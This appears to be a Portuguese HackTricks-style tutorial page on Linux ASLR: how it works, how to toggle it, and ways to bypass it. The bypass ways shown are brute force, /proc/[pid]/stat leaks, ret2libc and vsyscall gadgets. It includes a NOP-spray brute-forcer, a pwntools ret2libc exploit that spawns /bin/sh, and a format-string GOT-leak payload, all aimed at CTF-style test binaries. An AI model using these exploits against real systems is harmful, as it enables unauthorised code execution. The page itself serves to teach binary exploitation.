ASLR

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Informações Básicas

Randomização do Layout do Espaço de Endereços (ASLR) é uma técnica de segurança usada em sistemas operacionais para randomizar os endereços de memória usados por processos do sistema e de aplicativos. Ao fazer isso, torna significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, especialmente estouros de buffer.

Verificando o Status do ASLR

Para verificar o status do ASLR em um sistema Linux, você pode ler o valor do arquivo /proc/sys/kernel/randomize_va_space. O valor armazenado neste arquivo determina o tipo de ASLR aplicado:

• 0: Sem randomização. Tudo é estático.

• 1: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas.

• 2: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada por meio de brk() é randomizada.

Você pode verificar o status do ASLR com o seguinte comando:

cat /proc/sys/kernel/randomize_va_space

Desativando ASLR

Para desativar o ASLR, você define o valor de /proc/sys/kernel/randomize_va_space como 0. Desativar o ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Veja como você pode desativá-lo:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Você também pode desativar o ASLR para uma execução com:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Ativando ASLR

Para ativar o ASLR, você pode escrever um valor de 2 no arquivo /proc/sys/kernel/randomize_va_space. Isso geralmente requer privilégios de root. A ativação da randomização completa pode ser feita com o seguinte comando:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistência através de reinicializações

As alterações feitas com os comandos echo são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo /etc/sysctl.conf e adicionar ou modificar a seguinte linha:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Depois de editar /etc/sysctl.conf, aplique as alterações com:

sudo sysctl -p

Isso garantirá que suas configurações de ASLR permaneçam após reinicializações.

Bypasses

Forçando por tentativa e erro em sistemas de 32 bits

O PaX divide o espaço de endereçamento do processo em 3 grupos:

• Código e dados (inicializados e não inicializados): .text, .data e .bss —> 16 bits de entropia na variável delta_exec. Essa variável é inicializada aleatoriamente a cada processo e adicionada aos endereços iniciais.

• Memória alocada por mmap() e bibliotecas compartilhadas —> 16 bits, chamado delta_mmap.

• A pilha —> 24 bits, referido como delta_stack. No entanto, ele efetivamente usa 11 bits (do 10º ao 20º byte inclusive), alinhados a 16 bytes —> Isso resulta em 524.288 possíveis endereços reais de pilha.

Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que o exploit seja concluído com sucesso.

Ideias de força bruta:

• Se você tiver um estouro grande o suficiente para hospedar um grande trenó NOP antes do shellcode, você poderia apenas forçar endereços na pilha até que o fluxo salte sobre alguma parte do trenó NOP.

• Outra opção para isso, caso o estouro não seja tão grande e o exploit possa ser executado localmente, é possível adicionar o trenó NOP e o shellcode em uma variável de ambiente.

• Se o exploit for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits):

for off in range(0xb7000000, 0xb8000000, 0x1000):

• Se estiver atacando um servidor remoto, você pode tentar forçar a endereço da função usleep da libc, passando como argumento 10 (por exemplo). Se em algum momento o servidor demorar 10s extras para responder, você encontrou o endereço dessa função.

Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível.

Forçando a pilha de 64 bits

É possível ocupar uma grande parte da pilha com variáveis de ambiente e então tentar abusar do binário centenas/milhares de vezes localmente para explorá-lo. O código a seguir mostra como é possível apenas selecionar um endereço na pilha e a cada algumas centenas de execuções esse endereço conterá a instrução NOP:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}

import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Informação Local (/proc/[pid]/stat)

O arquivo /proc/[pid]/stat de um processo é sempre legível por todos e ele contém informações interessantes como:

• startcode e endcode: Endereços acima e abaixo com o TEXTO do binário

• startstack: O endereço do início da pilha

• start_data e end_data: Endereços acima e abaixo onde está o BSS

• kstkesp e kstkeip: Endereços atuais de ESP e EIP

• arg_start e arg_end: Endereços acima e abaixo onde estão os argumentos da linha de comando

• env_start e env_end: Endereços acima e abaixo onde estão as variáveis de ambiente

Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e esse binário não esperar o estouro a partir de argumentos brutos, mas de uma entrada diferente que pode ser criada após a leitura deste arquivo. É possível para um atacante obter alguns endereços deste arquivo e construir offsets a partir deles para o exploit.

Para mais informações sobre este arquivo, acesse https://man7.org/linux/man-pages/man5/proc.5.html procurando por /proc/pid/stat

Tendo um vazamento

• O desafio é fornecer um vazamento

Se você receber um vazamento (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você saiba a versão exata da libc que está sendo usada no sistema que está explorando). Este exploit de exemplo é extraído do exemplo daqui (verifique essa página para mais detalhes):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()

• ret2plt

Aproveitando um estouro de buffer, seria possível explorar um ret2plt para extrair o endereço de uma função da libc. Verifique:

Ret2plt

• Leitura Arbitrária de Strings de Formato

Assim como no ret2plt, se você tiver uma leitura arbitrária via uma vulnerabilidade de strings de formato, é possível extrair o endereço de uma função libc do GOT. O seguinte exemplo está aqui:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Pode encontrar mais informações sobre a leitura arbitrária de strings de formato em:

Format Strings

Ret2ret & Ret2pop

Tente contornar o ASLR abusando de endereços dentro da pilha:

Ret2ret & Reo2pop

vsyscall

O mecanismo vsyscall serve para melhorar o desempenho, permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora façam parte fundamental do kernel. A principal vantagem das vsyscalls está em seus endereços fixos, que não estão sujeitos à ASLR (Randomização do Layout do Espaço de Endereços). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em uma exploração. No entanto, não serão encontrados gadgets super interessantes aqui (embora, por exemplo, seja possível obter um equivalente a ret;)

(O exemplo e código a seguir são deste artigo)

Por exemplo, um atacante pode usar o endereço 0xffffffffff600800 dentro de uma exploração. Enquanto tentar pular diretamente para uma instrução ret pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de uma syscall fornecida pela seção vsyscall pode ser bem-sucedido. Ao colocar cuidadosamente um gadget ROP que direcione a execução para este endereço vsyscall, um atacante pode obter a execução de código sem precisar contornar o ASLR para esta parte da exploração.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Note que pode ser possível burlar o ASLR abusando do vdso se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado. Para mais informações, consulte:

Ret2vDSO